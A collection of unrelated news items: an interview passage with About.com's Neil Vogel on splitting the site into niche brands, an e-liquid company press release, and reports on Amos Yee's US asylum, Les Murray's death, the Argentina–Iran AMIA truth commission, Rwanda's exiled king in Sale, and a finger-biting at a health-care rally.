who do internet stuff.  We built a brand really, really stealthily. We did it by just making sure the brand was impeccable, that the most important, most influential people liked it. And we did it all online at a time when that felt really weird to people.  Shontell: So it's a once-a-year event. How much money can you make from an event like that?  Vogel: I can't really tell you exactly how much. You can figure out the math. The more people who enter, the better off this thing is. Then you're connecting really big corporate sponsors with very tight, very engaged audiences that are super valuable. We can put you in front of 2,000 people who make the best stuff in the world every year. That's a really valuable thing.  Shontell: Was it ever hard?  Vogel: Everything is hard. It's impossible. It tells as a super-elegant story. No, but this is impossible. Everything was a disaster. We had eight offices. We couldn't get anything right. We made so many mistakes. The nature of the internet is it's very forgiving. You can't really make that big a mistake.  The interesting thing about a business that is an award show is it's once a year. Now, at About.com, we can make changes that are instant tomorrow. At the Webby Awards, you make a change, it takes a year to see if that worked. You learn how to manage businesses differently because you have a full-year cycle, which is often very annoying. We made every mistake a startup can make.  Shontell: Despite that, someone did come in and buy a big chunk of it.  Vogel: Yeah, we were happy. I'm still on the board. Then I transitioned to Firstmark Capital, where I have a bunch of friends who are investors.  Shontell: They've got early-stage investments and things like Pinterest, Airbnb, and Draft Kings.  Vogel: I spent probably a year hanging out with those guys, and I learned so much in that year from just sitting and listening to their process. The first thing I learned is I'm a terrible investor. I like the quick wits of running businesses. But the long lead time and thoughtfulness required to have a thesis and invest against it and follow up is just not my jam.  A radical plan to save About.com — shut down the URL and start from scratch  About.com  Shontell: So you started to get bored and then IAC called you. IAC owns About.com.  Vogel: Yes. So About.com was owned by The New York Times. They owned it for five or six years. IAC — Barry Diller and crew — bought it for about $300 million at the end of 2012.  Shontell: Significantly less than The Times paid for About.com.  Vogel: It is less than The Times paid, which is less than Prime Media paid before them. I think it's widely known, but About was a mess at that point. It was still one of the 20 biggest sites on the internet, but there had been a lot of neglect.  IAC, who's very opportunistic in buying things, said, "OK, this still does a lot of revenue. It has 100 million users a month. We're pretty sure we can do something cool with it." So they bought it.  Shontell: There was a bidding war for it too. Answers.com wanted it.  Vogel: There was a very quick bidding war that they won. I think the entire cycle was seven days, which is crazy when you think about how that works. Probably five or six months after they owned it. I wasn't there, so I can't say this definitively, but I can guess. I think it was a bit of a bigger mess than they thought.  I got a phone call from Joey Levin, who is now the CEO of IAC. He might deny it went this way, but it very much went this way. He calls me — Joey's a very direct character — and he says, "What do you think of about.com?"  My answer — in perfect arrogance was — "I don't. Who thinks of about.com? Nobody. It's a thing with these blue links on it. I don't think about About.com."  He says, "Come in and talk to me about it." I go in and talk to him about it. I thought he wanted me to help him find someone to run it. I went into his office, and the next thing I know, I'm going home with a stack of information.  I'm thinking, "Ugh, I'll look through it, I guess."  By the time I got through it, I had a full mental turnaround on what this thing could be. I was definitely like the 25th person they talked to.  Shontell: It was founded in the search era, right? There was no social or Facebook driving a ton of traffic. It was all the good old days of Google search traffic.  Vogel: It's all Google search. The model was — this is important to note because it took us a bit to figure out — the model was the same thing as AOL, or the same thing as MSN, or the same thing as Yahoo. It was a big general information site. In our case, we made the content ourselves with experts. They made content different ways. But it was a big general information site. I decided I would ... I'm like, "OK, you know what? I'm going to do this." I went and I signed up to do it, and a little bit of the reason was the "you can't fall off the floor" reason. I'm not going to be the guy who ruined About.com. It's already ruined, so this is all upside here.  What Marissa Mayer and Yahoo did wrong  Ethan Miller/Getty  Shontell: What do you think of Marissa and Yahoo?  Vogel: We can actually talk about that. We have point of view on that, which is part of how we decided to do what we did. We actually have a strong point of view on that. I'll make this story a little shorter here.  I joined, and within a year we took the employees from 150 to 250. Every person, with the exception of one or two above senior director was new. We have 250 people now, and there are probably 10 who were there before we got there. When I got there, I couldn't tell you how many ads we served the day before. I couldn't tell you how many visits we. It was just a mess.  We got there and spent the first year building a data-science team so we can understand what was going on. Building a sophisticated programmatic ad stack because our site kind of looks like crap. It's very hard for us to sell premium stuff. So we're going to start selling programmatic things like moving away from some other monetization things. We used a lot of Google ads and we have to not do that. Users don't really like that at scale. Hired a bunch of smart people. I basically went and drove the "A-Team" van around New York and was like, "I know you, you're great. We've worked together. Come join us!" I think people got excited about the chance to fix an iconic internet.  A year and a half into it, we launch a brand-new site and rewrote every line of code. We had code from the '90s in there. We put forth the new About.com and everyone was excited. We stopped the decline. We started to make more money, traffic stopped going down. We could go to a cocktail party with a straight face and say, "Look at this things." We had some pride in what we were doing and it was making some sense. We felt good, and then six months later we're still in the exact same spot and we're like, "Ugh, why is this not growing?" Again, at this time, everyone's really happy with us. IAC is happy with us.  Probably a year after we launched, we went back to IAC, and this was the scary moment, this was like the big move, and said, "Guys, everything we did was wrong. We're doing it wrong."  Shontell: How did you come to that? It just stalled?  Vogel: It goes back to your Marissa question. We realized that our fundamental model of what we were doing was wrong. Our value is we have this great content that advertisers will like and consumers like, but nobody cares about a general-information site anymore. You have three constituencies when you're a publisher: advertisers, consumers, and people who send you traffic (basically algorithms). And it turns out that if you play tennis this weekend and hurt your knee, you don't want your "why my knee hurts" advice from About Health. You want it from WebMD or Everyday Health. We're like, "Oh, point." If your router breaks at home, you don't want that from About Tech; you want that from EnGadget or The Verge or someone how to fix it.  Advertisers? We heard this constantly: "Your data is great, your scale is great, we like your content, but you're not endemic, so we're not working with you." They want head-of-household moms, and they make computers, but they would not give us any money. And then the other problem was algorithms. Google and Facebook and those guys no longer knew what to make of us. You can't have, "Symptoms of Colitis" content on the same domain that you have "How to Unclog My Drain." On the same domain you have, like, "How to Cook Beer-Battered Chicken" and "How to Fix My Tendinitis."  Shontell: It kind of works for Wikipedia, though.  Vogel: We'll talk about that in a second. It's a little bit different. For a site like us ... Wikipedia's traffic is going down, by the way, from search, because they're not specific. If you have colitis, you'd rather go to a colitis-specialty place than Wikipedia. They're losing also.  We came to the realization that we needed to do something. We went back to IAC and to that meeting and said, "Here's what we're going to do: We're going to turn this place from AOL or Yahoo or MSN, and I'm going to turn this into Condé Nast or Vox. And that's what we're going to do. This is either going to work and be a great success or we're going to crash the plane as we're flying it and this is going to be a horrible failure. But we're betting, because our content is good, because we still have search traffic, because we know how to play social, that we're betting that we can do this."  And IAC — because they're not a media company, they're an internet company; it's a huge difference that I've learned — they basically said "Do it. Do it. Go ahead, take the chance. Roll the dice and do it. We'd rather have the outcome that you are the next Condé Nast than have the outcome that is now, which is we're going sideways."  'We could have literally gone to zero"  Barry Diller, head of IAC, knows how to take risks. Michael Seto/Business Insider  Shontell: That sounds like it makes a lot of sense. But there is huge risk involved with a move like that.  Vogel: Existential risk. We could have literally gone to zero.  Shontell: Yes, because you have, what, over 100 million people visiting About.com?  Vogel: Yeah, about that.  Shontell: And you're talking about all these new properties that have to start from scratch, right? Then what's left for About.com?  Vogel: What we said was, we're going to take pieces of About.com, we're going to break them off and make these new brands, and then when we're done, About.com is going to go away. As of May 2, we're announcing a new brand name for all of overarching brand for our brands, and About.com is going away.  Shontell: This site that had 100 million-plus readers, you just canned.  Vogel: We didn't can it yet, but we're canning it in six weeks. Again, because we've now made five different, sites that if you add them up have more users than About.com had. That was the trick.  Shontell: How long did that take?  Vogel: We've done it over the last 12 months. The story of the first one is an easy one to tell.  Shontell: Within a year you've built four new brands that now are bigger than About.com ever was.  Vogel: In aggregate, when you add up all the things, not ever was, because that was humongous, but we are — our traffic now, we have more traffic now with four of our five brands launched. So four brands in the market, one brand still under the About.com name. We have more traffic now than we had a year ago, two years ago, when we were just About.com.  Here's what we did: The first thing we wanted to launch is we wanted to launch ... We launched a health brand called Very Well. We dove right into the pool. Health is our most valuable, most-trafficked, biggest vertical, so we came up with an idea. Our content is very much in the style of like WebMD or Everyday Health. But we thought those sites, we just didn't think they have served a market need. We thought that we could make a beautiful, kinder, gentler health site. You go to these some of other sites with a headache, you think you have a brain tumor. You come to us with a headache, we're going to make your headache feel better and explain why you had a headache and make it better. That was the thesis.  So we took our 100,000 pieces of health content of About.com, threw 50,000 in the garbage because they were old. We didn't like them. The other 50 [thousand] were read by our writers. If it was medical information; it was read by a doctor. We had 30,000 pieces of content read by physicians, edited, cleaned up. Built a brand-new site from scratch, a new taxonomy for our content, put it on the site.  We did that. We built this beautiful new site from scratch, everything from scratch. Took design, product, content, tech, everyone, walled them off. You now work for Very Well; you don't work for About anymore. You work for Very Well.  Shontell: The About people who remained were no longer able to write about beauty and health or about —  Vogel: Yeah, we moved the health stuff all to Very Well. Health is now gone from About.com, and we launched it in April.  Shontell: You see, instantly, a ton of traffic to About.com, I'm sure, go away.  Vogel: Terrifying. Really, you have to compare all of About.com to now About.com, plus Very Well, right? So here's what happens, a lot of, more, probably at the time, 70% of our traffic was from search. Three weeks after we did this —  Shontell: No search traffic, I'm sure.  Vogel: No, what you can do ... the trick is making the search traffic move to your new place. We built a new site with a new taxonomy so every URL over here gets redirected to one over here.  A month after we launched this thing, our health traffic, which is our most valuable traffic, was down. Traffic was in like 45% or 50%. But we're like, "OK, we're just going to hold on and we're already halfway done doing our next vertical." All of a sudden, Facebook, Google, all the domains figure it out. As of now, today, I think our health brand has — I'm going to get this slightly wrong because I always get numbers slightly wrong — I think we had 8 million uniques when we started a month, I think we have 17 million uniques now to Very Well. So we've pretty much doubled in size in 12 months. We're by far the fastest-growing thing in the health space. I think we're No. 4 or 5 on comScore on health because our bet was right ...  We knew that this would work. Then we launched something in the summer. Ran a very similar playbook on our personal-finance content called The Balance, which has pretty much doubled in traffic since we launched it this summer. We launched something called Life Wire in November, which is our evergreen-content tech site — how to fix my router, how to unbrick my iPhone. We launched three weeks ago, about a month ago something called The Spruce, which is the third-biggest home site on the internet, only behind HGTV and the Hearst Brands. We had such scale on About, that we're launching these new brands into the world that are new to the space with no legacy issues, look like start ups, but all of a sudden, like we're top 10 in comScore because we're coming with such scale. The market's like, "What? Where do you guys come from?"  And we have one more site to launch, called Trip Savvy, which we're launching right after we change our name. We're now going to change the name of the company May 2.  Shontell: So as a collection of sites, how much traffic do you guys have?  Vogel: More than we started. I think — I don't know — last month ... internally, I think comSquare was like 60 million last month or something. So we got a lot of scale. We're around the same size as you guys. I think internally we're like 100 million.  The future of media isn't about scale; it's about finding a niche  VeryWell is one of the new websites Neil Vogel has launched at About.com. Very Well  Shontell: So, for a while it was great to be a site that was all-encompassing, had all this scale, you know, the Yahoos, MSNs, and you. Are you're saying that that's no longer the case and that the future is to go niche?  Vogel: It doesn't work. Yeah, it doesn't. I just think everybody wants expert —  Shontell: The scale days are over?  Vogel: You see it in the mall, right? There's no place for a department store. People don't want that anymore. People want things that are specialty. I think the other people in our position —  Shontell: Except for Amazon.  Vogel: Except for Amazon. But there's always a place for that. There's a place for Amazon and Target and Wal-Mart, cause they're competing on price, or service, or something. Not on expertise. And that's more of like a retail thing. But in content, you generally want content from someone you believe is an expert in that. That trends toward being an expert in like, a domain of content, which trends toward being vertical. And I think different people have made really interesting decisions about this.  I think AOL has made a brilliant decision. We looked at our content and said, "All right, we make really premium content in these very premium areas." AOL looked at their type of content and said, "You know what, this is content that is probably going to be best served by programmatic ad selling." Cause of the type of content it was, not that it's good or bad, it just is. They built an unbelievable ad stack, they assembled properties that work like this. And it totally worked, and they crushed it. And now they're like Target. Like it totally works for them, and now that's why Yahoo makes sense. I think MSN didn't want to deal. And Yahoo made a different decision.  Like we looked at what we were doing and said, "We make money one way. We sell ads against content. And we're doing it wrong, but that's the fundamental model that works for us." Yahoo wanted to become something completely different, that I don't think anyone totally understands exactly what the thesis was. And I think that's why it didn't work. I think the AOL-Yahoo combo is gonna be great. It's gonna be great for advertisers. If it works it's gonna be like a legitimate third option to the big two. And I think they took the right approach to content.  Shontell: The big two being Facebook and Google. The Duopoly.  Vogel: The Duopoly. No media buyer in the world wants there to be only two places to buy stuff from. Look, it's really dangerous and they're growing like crazy but ... If you make valuable content, and you give people a really great experience, there is a place for you in the world. When you're general, like when you're the old About.com, there might not have been a place for us in that world. Because it just doesn't work. But when you're Very Well or The Balance, and when you're like a mutual-fund company that needs to advertise against people who are specifically looking for mutual fund information, we're an unbelievable resource for them. That's better than like guessing someone wants mutual funds on Facebook.  Shontell: So one thing you mentioned is that with AOL and Yahoo merging under Verizon, you think it'll be great. And could maybe challenge these guys. And that's a mega-merger.  Vogel: That's a big one.  Shontell: You know, all these huge companies coming together under Verizon. Do you think that's going to keep happening, and is that is your goal with About, to build it up to a point where you could join and be a power player in a big mega-merger like this?  Vogel: I don't know. I think if you look at the history of IAC they, you know, the market we have is $5 billion or $6 billion, but the value of the companies that have come out of IAC are, what, like $50 billion or $60 billion. So there is a history at IAC of being the builder, not the buildee. And if we do this right, we have a really interesting opportunity to build something great.  Shontell: So one kind of different question for you, what's Barry Diller like?  Vogel: First of all, he's great. He does not suffer fools. There's something incredible frustrating that happens when you deal with him in that you'll be in a meeting with him, or you'll get some feedback from him via email, or secondhand, or you'll talk to him directly. And he will say something to you that, at the time, you will be like, "I don't what?" Because you're like an arrogant CEO and you're like, "I ... I ... I know better about my business than he does. What's he talking about?" And then a day later, you're like in the shower, and you realize, like, "Ugh, he was totally right. He was a thousand percent right."  There's nothing he hasn't seen or been through, and he has this really unique way, which I think you do, when you sit in his perspective, of just looking at our problems or issues and just ignoring the nonsense, and like, bam. Like right to it. And sometimes by getting right to it you don't understand that right away, because you're too in the weeds, or you're busy running the business. But he just like, nails it. And he's great to work for. He does not suffer fools, there's not a lot of, like, nonsense. But it's awesome to work for someone that, and this doesn't happen a lot.  Shontell: Very true. So to wrap this all up, if you had to say the one thing you've had a lot of different lives in your careers. In all of them you've found success. So what do you think is the one common thread that has made you successful in all of these different areas and, ultimately, in your career?  Vogel: I'm annoyingly relentless when I believe in something. When I was a banker, I figured out that you'll be much better at doing something if you're passionate about it. And it's not saying like, "My great passion in life is to build publishing companies," or "My great passion in life is to build award shows." But if you believe in what you're doing and you can get excited about it, you're gonna be a thousand times better. And I'm really direct and I'm really honest with people, which doesn't always work that well. But if people always know where they stand with you, you will always know where you stand with them. And I think that's really valuable.
-Nicholas Bull (left) and Nicholas DeNuccio, co-founders of Propaganda E-Liquid, are going full steam ahead with their uniquely crafted and flavored line of e-cigarette liquids. (Photo: Business Wire)  Nicholas Bull (left) and Nicholas DeNuccio, co-founders of Propaganda E-Liquid, are going full steam ahead with their uniquely crafted and flavored line of e-cigarette liquids. (Photo: Business Wire)  SANTA ANA, Calif.--(BUSINESS WIRE)--Although The Wall Street Journal noted recently that “the share of people under age 30 who own private businesses has reached a 24-year-low,” the duo behind Santa Ana–based Propaganda E-Liquid (www.propagandaeliquid.com) are the young and highly successful exception to the rule.  At ages 19 and 23 respectively, Nicholas DeNuccio and Nicholas Bull just celebrated the one-year anniversary of their company, which has grown from a $200 literally homemade enterprise into a thriving international business. Propaganda creates and distributes flavored liquids for e-cigarettes to nearly 500 “vape shops” in the U.S. and 11 countries, including China, the U.K., France, Indonesia, and Taiwan.  “The company has sold more than a quarter-million units in its first year,” says DeNuccio. “And we expect to double that by end of 2015.”  The business began in DeNuccio’s parents’ kitchen, where he and Bull experimented with $200 worth of ingredients and flavors in the kitchen sink. Wanting to encourage the business—and protect their sink—DeNuccio’s parents loaned the young entrepreneurs $5,000, which has now been paid back in full.  The partners credit their success to an aggressive marketing campaign that has taken them to every major e-cigarette convention (they’ll travel next to Vape Summit 2015 in Las Vegas in April), where they distribute samples, meet with clients and customers, and take orders from shops around the world. In addition, each retail location is supplied with multiple marketing materials: posters, full-page flavor menus, POP displays, shirts, hats, sticker packs, and car decals.  E-liquid flavors include the best-selling Illuminati (a blend of blood orange, pineapple, strawberry); Subliminal (sweet and sour razzmatazz candy); Widow Maker (Bavarian cream–infused blueberries); and Wild Fire (toasted almond and mezzaluna cookie). All are available in 15ml ($13) and 30ml ($23) bottles. DeNuccio and Bull spent hours of research time developing the flavors and perfecting the ingredient percentages to create what’s known in the industry as “an all-day vape.”  The brand’s edgy name (a spoof on government propaganda), “Join the revolution!” tagline, and distinctive packaging have earned Propaganda a dominant reputation in an industry that has grown dramatically in recent years. And at only 19 and 23, DeNuccio and Bull have plenty of good years ahead of them—and that’s not blowing smoke.
-Amos Yee left the city state with the intention of staying in US after being jailed for several weeks in 2015 and 2016  A teenage blogger from Singapore whose online posts blasting his government landed in him jail has been granted asylum to remain in the United States.  Amos Yee, 18, had been detained by federal immigration authorities since December when he wase taken into custody at Chicago’s O’Hare International airport.  But on Friday immigration judge Samuel Cole paved the way for his release, which attorneys said could come as early as Monday.  Singapore police arrest 17-year-old over critical Lee Kuan Yew video Read more  “Yee has met his burden of showing that he suffered past persecution on account of his political opinion and has a well-founded fear of future persecution in Singapore,” Cole wrote in a 13-page decision more than two weeks after Yee’s closed-door hearing on the asylum application.  Yee left Singapore with the intention of seeking asylum in the US after being jailed for several weeks in 2015 and 2016. He was accused of hurting the religious feelings of Muslims and Christians; Yee is an atheist. However, many of his blog and social media posts criticized Singapore’s leaders. He created controversy in 2015 as the city-state was mourning the death of its first prime minister and he posted an expletive-laden video about prime minister Lee Kuan Yew just after his death.  Such open criticism of political leaders is discouraged in Singapore. The case, which raised questions about free speech and censorship, has been closely watched abroad.  Cole said testimony during Yee’s hearing showed that while the Singapore government’s stated reason for punishing him involved religion, “its real purpose was to stifle Yee’s political speech”. He said Yee’s prison sentence was “unusually long and harsh” especially for his age.  Saudi Arabian teen arrested for online videos with American blogger Read more  Officials at the Singapore embassy in Washington DC have not addressed the case and messages left Friday were not immediately returned.  Yee’s attorney Sandra Grossman said her client was elated with the news.  “He’s very excited to begin new life in the United States,” Grossman said.  Yee said in a phone interview from jail this month that he feared returning to Singapore. But he said he would continue to speak out and had already planned a line of T-shirts and started writing a book about his experiences. “I have an infinite amount of ideas of what to do,” he said.  Department of Homeland Security attorneys had opposed the asylum bid, saying Yee’s case did not qualify as persecution based on political beliefs. It was unclear whether they had appealed the decision or if Yee would have to remain imprisoned if they did. Attorneys have 30 days to appeal.  Phil Robertson, deputy Asia director of Human Rights Watch, said he hoped the US government would let the ruling stand, saying that Yee had been a “marked man” in Singapore since criticising the government.  “Singapore excels at creating a pressure cooker environment for dissidents and free thinkers who dare challenge the political, economic and social diktats from the ruling People’s Action Party. It’s clear the Singapore government saw Amos Yee as the proverbial nail sticking up that had to be hammered down.”
-AUSTRALIAN football icon Les Murray has died aged 71 after a battle with illness.  The legendary broadcaster was for so long the voice of football in this country as a fixture on SBS.  Murray is survived by his two daughters.  CEO and managing director of SBS Michael Ebeid was quick to pay tribute to his “dear friend”, as was longtime colleague and former Socceroo Craig Foster.  “No one better embodied what SBS represents than Les Murray. From humble refugee origins, he became one of Australia’s most recognised and loved sporting identities,” Ebeid said.  “Not just a football icon, but a great Australian story and an inspiration to many. To say that his contribution to SBS and to football was enormous, doesn’t do it justice. This is a devastating loss for all of us at SBS. Our thoughts are with his family and all that loved him.”  Devastated at the news that our dear friend & colleague Les Murray has passed away. A great Australian who really has left a great legacy. — Michael Ebeid (@michaelebeid) July 31, 2017  The world lost a football colossus this morning, Les Murray AM. He fought well into extra time but whistle has blown. His legacy is lasting — Craig Foster (@Craig_Foster) July 31, 2017  Les left family that loved him, colleagues adored him, futbol community that revered him. Well played old friend. Extraordinary performance — Craig Foster (@Craig_Foster) July 31, 2017  Another former international Robbie Slater reflected fondly on Murray’s profound influence on the game and his own life.  “Les Murray was ‘Mr Soccer’ and devoted his life to the game and did so much for the game,” Slater told Fox Sports.  “Les was someone we all looked up to; he did so much for the game.  “He gave me my first job in television. Obviously when I started at Fox, we didn’t see each other as much but we never lost contact because wherever there was a major football event, Les was there.  “He gave me a lot of advice for my career, early on. People started following me when I moved to the Premier League but Les followed me in France and always made sure everyone knew what I was doing in France. He set up an interview with me in France, which was the first shown in Australia. It just shows how much he looked out for Australian football and footballers.  “Les is not only a great loss to his family and friends, but a great loss to the game.”  The tributes kept pouring in from football lovers, players and those who knew Murray.  RIP @lesmurraySBS,sad day for so many,xmb — Mark Bosnich (@TheRealBozza) July 31, 2017  Very sad to hear the passing of Les Murray. He was a Massive ambassador for football in this country.... — Archie Thompson (@10Archie) July 31, 2017  Utterly devastating. What a man. So generous and kind. He gave us so much. Vale Les Murray. https://t.co/Hg7hPa0V2r — Sarah Abo (@_SarahAbo) July 31, 2017  For once the phrase "end of an era" is legitimate in a football context. Vale Les Murray https://t.co/yE73viuX2k — Tom Smithies (@SmithiesTele) July 31, 2017  In the days when football struggled to receive media coverage, @lesmurraySBS gave us hope each week via @TheWorldGame, he will be missed — Peter Filopoulos (@peterfilopoulos) July 31, 2017  Les Murray was funny, arcerbic, generous, flawed, kind and unique. Most of all, when most needed, he was Mr Football.#RIPLesMurray — Richard Hinds (@rdhinds) July 31, 2017  Very sorry to hear of Les Murray's passing. A football legend, advocate for people seeking asylum and an amazing personality. — Richard Di Natale (@RichardDiNatale) July 31, 2017  Vale Les Murray. We lost a giant in Australian football. Hard to imagine a World Cup without his voice. — Sam Mac & Jules (@thebleague) July 31, 2017  Murray was born in Hungary and came to Australia with his parents as political refugees in the 1950s. He grew up in Wollongong on the NSW coast where his love of football continued to grow.  Born László Ürge, Murray changed his name once he started in television.  He joined SBS in 1980, where he worked for more than three decades. He went on to become the network’s head of sport and retired in 2014, but still made guest TV appearances with his old employer.  Murray presented the network’s football coverage and worked on everything from World Cups to Champions League finals. He was appointed a Member of the Order of Australia in 2006 and was also a member of Football Federation Australia’s Hall of Fame.  A published author, Murray was part of FIFA’s ethics committee and worked tirelessly to promote football in Australia at a time when it was far from the mainstream sport it is today.  Murray received the Lifetime Achievement Award for Contribution to Sports Journalism at the 2009 Australian Sports Commission Media Awards.
-BUENOS AIRES (Reuters) - Israel and world Jewish groups denounced plans by Argentina and Iran to form a truth commission to investigate the deadly 1994 bombing of a Buenos Aires Jewish center that Argentine courts say was sponsored by Iran.  The forming of the commission, announced during the weekend, was seen as a diplomatic win for Iran as it confronts a U.S.-led effort to isolate Tehran because of its nuclear program.  Western nations fear Iran intends to use the program to produce atomic weapons. Israel regards this as an existential threat, citing statements by Iranian President Mahmoud Ahmadinejad about wiping the Jewish state off the map.  “The agreement between Argentina and Iran is received in Israel with astonishment and deep disappointment,” Israel’s Foreign Ministry said in a statement. “The Argentine ambassador in Israel will be summoned to the Ministry of Foreign Affairs in Jerusalem to provide explanations.”  Argentine courts have said Iran was behind the attack on the Jewish center, which killed 85 people. The commission agreement, which must be approved by Argentina’s Congress, outlines plans for Argentine officials to interview suspects in Iran - not in a third country, as originally proposed by Argentina.  “Forming a joint truth commission with Iran is a farce,” Shimon Samuels, Paris-based director of international relations for the Simon Wiesenthal Center, told Reuters on Monday.  “It will whitewash terrorism and encourage the mullahs to become patrons of further attacks.”  The bombing came two years after a group linked to Iran and the Lebanese militant group Hezbollah claimed responsibility for a bomb attack on the Israeli Embassy in the Argentine capital, which killed 29. Tehran has denied links to either attack.  Led by Washington, the West has imposed sanctions on Iran - including directly targeting its key oil revenues - to try to force it into a diplomatic solution that would lay to rest Western concerns that it is seeking to develop a nuclear bomb.  “The benefits of a truth commission are not evident for Argentina,” said Ignacio Labaqui, a political science professor at Catholic University in Buenos Aires. “As for Iran, it’s pure gain. It makes no real concessions and it becomes less isolated.”  WANTED BY INTERPOL  In 2007, Argentine authorities secured Interpol arrest warrants for five Iranians and a Lebanese in the bombing of the AMIA Jewish community center. Iranian Defense Minister Ahmad Vahidi is among the officials sought by Argentina, which is home to Latin America’s largest Jewish community.  The five “truth commissioners” will be jointly named and will not be residents of Argentina or Iran, according to a document posted on President Cristina Fernandez’s Facebook page.  “Dialogue (is) the only way to resolve conflicts between countries, however severe,” she said on Sunday via Twitter.  The agreement on the commission said that after analyzing the evidence the commission “will give its vision and issue a report with recommendations about how the case should proceed within the legal and regulatory framework of both parties.”  Fernandez, who is allied with left-leaning Latin American leaders who are on good terms with Tehran, such as Venezuela’s Hugo Chavez, hailed the accord as historic.  But Jewish leaders see no upside in forming a truth commission with Iran, where Ahmadinejad has questioned the Holocaust and where authorities arrested more than a dozen journalists in the past two days over their links to “anti-revolutionary” media.  Argentina’s government also has been criticized for cracking down on dissent by fining private economists for publishing inflation estimates that far outpace the official numbers. The country could face sanctions from the International Monetary Fund over its widely discredited consumer price data.  “Forming a ‘Truth Commission’ which does not fall under Argentine law governing criminal proceedings marks a decline of our sovereignty,” said a statement issued on Monday from Argentina’s two main Jewish groups, known as the AMIA and DAIA.  “This is a setback for obtaining justice,” it said.
-It is not a typical royal residence but a terraced house on a quiet and slightly dishevelled housing estate in Sale, Greater Manchester, is now the home of the new king of Rwanda.  Three months after the country’s previous exiled monarch King Kigeli died in relative poverty in the US aged 80, an official decree by his chief courtier has declared his nephew Emmanuel Bushayija – a naturalised British citizen – as his successor.  “The Rwandan Royal Council of Abiru hereby informs all Rwandans and friends of Rwanda that in keeping with the ancient custom, it has acclaimed His Royal Highness Prince Emmanuel Bushayija as the successor of his late majesty,” the edict read.  In a video posted on Facebook, Boniface Benzinge, who describes himself as the deceased king’s assistant and best friend, reads a statement over tinny piano music saying that Kigeli had named his brother’s son as his successor in 2006 and that he wished the new king “long life and success”.  Facebook Twitter Pinterest The house in Sale, Greater Manchester, where Emmanuel Bushayija lives. Photograph: Christopher Thomond for the Guardian  Father of two Bushayija, or Yuhi VI as his new royal title has him, has so far remained silent about the announcement. Answering the door of his neat and well kept house on Wednesday morning, a family member said he was not in and would not be speaking to the press.  The Rwandan royal family was exiled in 1961, when Bushayija was a baby, and he was schooled in Uganda, where he later worked for Pepsi. He moved back to Rwanda in 1994, before relocating to the UK in 2000.  He first lived in a council flat near Old Trafford, before moving to his current terraced house, which is owned by the Irwell Valley housing association. Company records show that he started a security company, Intersec Security, in 2013, which is registered to his home address but provides armed security for clients in Rwanda.  Wendy Otoo, 50, a foster carer who lives two doors down from the family, said Bushayija had mentioned his big news to her husband, but that she didn’t think it would change much for the family.  “He’s very laid back and humble,” she said. “He’s a lovely man. I look after my granddaughters full time and he’s great with them. He always stops for a chat, so he’s not very king-like.” She added: “It’s funny because my family are from Ghana on my Dad’s side, and my uncle there is a king.”  The first Dola Tope–Agboola, 43, heard about her royal neighbour was when a journalist knocked on her door on Wednesday morning. “It’s just amazing to be honest,” she says. “I’m going to be on the look out for him. I should get to know him.”  Rwanda became a republic in 1961 following a referendum, a year before it gained independence from Belgian rule. The result suggested that 80% of the public opposed the monarchy but King Kigeli claimed that the vote had been rigged.  In 2013, Washingtonian magazine found Kigeli living in subsidised housing in Virginia, living off food stamps. He told the magazine that Paul Kagame, president of Rwanda and a fellow Tutsi, had permitted him to return to his home country but said that he could not resume the throne.  While alive, Kigeli spent much of his time attempting to preserve the traditions of the Rwandan monarchy, subsidising his small income with the sale of knighthoods, and hoping that his people would one day invite him back.  Following his death, a row broke out about where he should be laid to rest and a US court ruled in favour of relatives who wanted his body returned to Rwanda. Benzinge insisted that his friend would not have wanted to be buried in his home land “as long as the current government administration that was hostile to his majesty in life was still in power”.  Benzinge’s announcement that Bushayija is the new king has also been controversial. Pastor Ezra Mpyisi, a former adviser to the Rwandan king, told journalists in the country’s capital that he would not recognise the new king.  “[Benzinge] cannot name the new king because he is in no position to do so. He has no powers to do so because he is not part of the royal family or related to the king in any way,” he said.  • This article was amended on 13 January 2017. An earlier version said Rwanda became a republic in January 1961 following a referendum. The referendum was in September 1961.
-Town Hall Talk: Man's Fingertip Bitten Off at Health-Care Rally  Updated 8:29 p.m.  By Garance Franke-Ruta and Sarah Lovenheim  One of a national series of rallies for health-care reform took a violent turn Wednesday night when, according to authorities in Thousand Oaks, Calif., an unidentified man bit off another man's pinky finger at the top joint.  The Thousand Oaks event attracted only about 100 people -- a small group compared to the turnout at congressional town halls, which have drawn up to 1,500 people. But their passions were running high, and when a supporter of health-care reform wound up among a group of about 25 counter-protesters, an argument and fistfight broke out, Ventura County Sheriff's Capt. Frank O'Hanlon told the Associated Press.  Reports differ on whether the supporter went to confront the opponents intentionally or was just walking among them while trying to cross the street to the pro-reform rally.  Southern California's KTLA-TV, which first reported on the fracas, wrote, "The 65-year-old was apparently aggressive and hit the other man, who then retaliated by biting off his attacker's pinky."  The AP reported that the injured man "retrieved the finger and went to a hospital." The man, identified by ABC News as William Rice, received care from Los Robles Hospital and on Thursday told the Weekly Standard that the hospital was unable to reattach his fingertip. Also on Thursday, Rice appeared on Fox News, where he was interviewed by Neil Cavuto (see video clip, below).  O'Hanlon told the AP that authorities have a good description of the alleged biter, who fled the scene. "It's considered a mayhem which is the removal of an appendage from a human," Capt. Bruce Norris of the Ventura County Sheriff's Department told ABC News. "The crime is punishable by imprisonment for 2, 4, or 8 years."  Attendees at the Thousand Oaks rally took to their blogs Thursday to describe the clash. Reform opponent Eric Ingemunson recounts his story on RedCounty.com, and reform supporter Karoli Kuns tells her tale at DrumsnWhistles.com.  MoveOn.org sponsored the rally, along with others Wednesday night around the country, and Ilyse Hogue, a spokeswoman for the liberal advocacy group, called the incident "a regrettable act of violence."  "While we do not have any more facts about what happened then what we saw in press accounts, MoveOn condemns violence in all forms," she said in a statement to The Post.  "While we don't know if either party involved was a MoveOn member, we regret any violence that may have occurred yesterday, and we support the Ventura County Sheriff's investigation into the situation. It is our firm hope that this event does not detract from the tens of thousands who were out peacefully making their voices heard for health-care reform and a public option," Hogue said.
